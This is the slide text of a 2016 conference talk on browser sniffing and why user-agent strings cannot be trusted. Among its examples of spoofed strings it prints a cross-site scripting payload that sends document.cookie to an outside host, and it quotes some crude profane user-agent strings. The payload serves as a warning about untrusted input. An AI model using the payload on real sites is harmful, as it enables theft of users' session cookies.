Everybody Lies @ Halfstack

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everybody lies Niels Leenheer halfstack, november 18th 2016 @html5test

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this talk is full of   lies and deception warning:

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this talk is about browser sniffing yes…

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why?

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browser sniffing is   dirty

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you should use   feature detection

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Dear Web Developers:   Browser Sniffing is Stupid http:/ /www.webstandards.org/2002/12/20/dear-web-developers-browser-sniffing-is-stupid/

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5 Reasons Why   Browser Sniffing Stinks https:/ /www.sitepoint.com/why-browser-sniffing-stinks/

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Browser Detection is Bad https:/ /css-tricks.com/browser-detection-is-bad/

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feature  detection responsive  design progressive  enhancement best-practices

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anti-pattern browser sniffing

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browser sniffing is just a tool

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everybody uses   browser sniffing

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is browser sniffing   actually? what…

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the http specification defines the user-agent header     it contains a string with information about the browser

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every request the browser makes to the server includes the user-agent header

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GET http://whichbrowser.net/ HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-us User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0) Accept-Encoding: gzip, deflate Connection: Keep-Alive Host: whichbrowser.net   HTTP/1.1 200 OK Date: Mon, 08 Feb 2016 10:40:28 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16 Last-Modified: Thu, 15 Jan 2015 10:10:40 GMT ETag: "984-50cae11796432" Accept-Ranges: bytes Content-Length: 2436 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8  

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you can access   the exact same string   using javascript

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you can use the user-agent string to identify:    the browser  the rendering engine  the operating system  the device model  and more

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is browser sniffing   good for? what…

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knowledge

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if you know the platform or browser,   you can streamline the user experience

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if you know your users,   you can build a better site for them

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if you know which browser is being   used, you can work around bugs

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if you know which browser is causing errors, you can fix them

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privacy implications

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changing your user agent   string actually makes it   easier to track you

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anonymity by looking   like everybody else

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is browser sniffing   so difficult? why…

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things started out simple

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Mosaic/0.9 Mosaic

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Mozilla/1.0 (Win3.1) Netscape Navigator code name of   the browser

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but it quickly started   to get complicated

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Mozilla/1.0 (compatible; MSIE 1.0; Windows 95) Internet Explorer compatible with   Netscape Navigator 1.0

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Opera/8.54 (Windows 95; U; en) Opera

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Opera/10.00 (Windows NT 5.1; U; en)   Presto/2.2.0 Opera

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Opera/9.8 (Windows NT 5.1; U; en)   Presto/2.2.0 Version/10.00 Opera real version of  the browser

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Mozilla/5.0   (Windows; U; Windows NT 6.0; en; rv:1.9.1)   Gecko/20090624 Firefox/3.5 Firefox build date of  the rendering engine

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Mozilla/5.0 (Windows NT 6.0; rv:2.0)   Gecko/20100101 Firefox/4.0 Firefox build date is no   longer updated

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Mozilla/5.0 (Windows NT 6.0; rv:16.0)   Gecko/16.0 Firefox/16.0 Firefox

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and it gets worse…

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Mozilla/5.0   (Macintosh; U; PPC Mac OS X 10_4_11; en)  AppleWebKit/525.27.1 (KHTML, like Gecko)  Version/3.2.3 Safari/525.28.3 Safari

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Mozilla/5.0   (Windows; U; Windows NT 6.0; en)  AppleWebKit/525.27.1 (KHTML, like Gecko)  Chrome/15.0.874.120 Safari/525.28.3 Chrome

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Mozilla/5.0   (Windows NT 10.0; WOW64)   AppleWebKit/537.36 (KHTML, like Gecko)   Chrome/44.0.2403.155 Safari/537.36   OPR/31.0.1889.180 Opera

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Mozilla/5.0   (Windows NT 6.3; Trident/7.0; rv:11.0)   like Gecko Internet Explorer

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Mozilla/5.0 (Windows NT 10.0)  AppleWebKit/537.36 (KHTML, like Gecko)  Chrome/42.0.2311.135 Safari/525.28.3   Edge/12.10162 Edge

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and those were all relatively normal user-agent strings

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sometimes browsers simply do not make sense at all

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Mozilla/5.0 (Linux; Android 4.3; en;   SAMSUNG GT-I9505 Build/JSS15J)   AppleWebKit/537.36 (KHTML, like Gecko)   Version/1.5 Chrome/28.0.1500.94   Mobile Safari/537.36 Samsung Internet

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Mozilla/5.0 (Series40; NOKIALumia800;   Profile/MIDP-2.1 Configuration/CLDC-1.1)   Gecko/20100401 S40OviBrowser/1.8.0.50.5 Nokia Xpress for Windows Phone

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sometimes browsers lie to   hide their true identity

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Opera/9.80 (X11; Linux zbov; U; en)   Presto/2.9.201 Version/11.50 Opera

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Opera/9.80 (X11; Linux zbov; U; en)   Presto/2.9.201 Version/11.50 Opera Mobile (desktop mode) ROT 13 encrypted  “mobi“

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Mozilla/5.0 (compatible; MSIE 8.0;   Windows NT 6.1; Trident/5.0) Internet Explorer

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Mozilla/5.0 (compatible; MSIE 8.0;   Windows NT 6.1; Trident/5.0) Internet Explorer (compatibility view) Trident 5 means it’s   Internet Explorer 9

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sometimes browsers   are just weird

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Mozilla/5.0 (VCC; 1.0; like Gecko) NetFront/4.2 Mozilla/4.0 (compatible;   MSIE 6.0; MSIE 5.5; Windows NT 5.0)   Opera 7.02 Bork-edition [en] #1 #2

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BORK BORK BORK

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and it is possible to change the user-agent string yourself

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alert("My Little Pony"); document.location=   "http://www.max1094.18.lc/admin/cookies.php?c=" +   document.cookie;

XSS attacks

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XSS attacks

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  (╯°□°）╯︵ ┻━┻    Mozilla/10.0 (compatible; MSIE 10.0; CP/M; 8-bit) You’re site is funny people

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angry people

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FuckZilla/666.0 (Gavnoid; Debile; rv:123.0)   FuckYou/123.0 FuckingFox/321.0    Opera/9.80 (Windows NT 6.1; U; FuckYou; xx)   Presto/2.10.229 Version/11.62    Seriously, Go fuck yourself    W3C standards are important.   Stop fucking obsessing over user-agent already. angry people

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1.000.000  unique  useragent strings 82 x fuck 10 x shit 6 x ass 9 x dick 3 x vagina 108 x sex 4 x balls

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user-agent strings   cannot be trusted!

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everybody lies

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use browser sniffing for controlling access to   your website you should never

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you should never use browser sniffing for determining browser capabilities

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you should never build your own   browser sniffing library 

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use a browser sniffing library that   is regularly updated #1

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check if it is possible to automatically schedule updates #2

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“If you tell a big enough lie   and tell it frequently enough,   it will be believed” — Ghandi

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“If you tell a big enough lie   and tell it frequently enough,   it will be believed” — Ghandi

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— Adolf Hitler “If you tell a big enough lie   and tell it frequently enough,   it will be believed”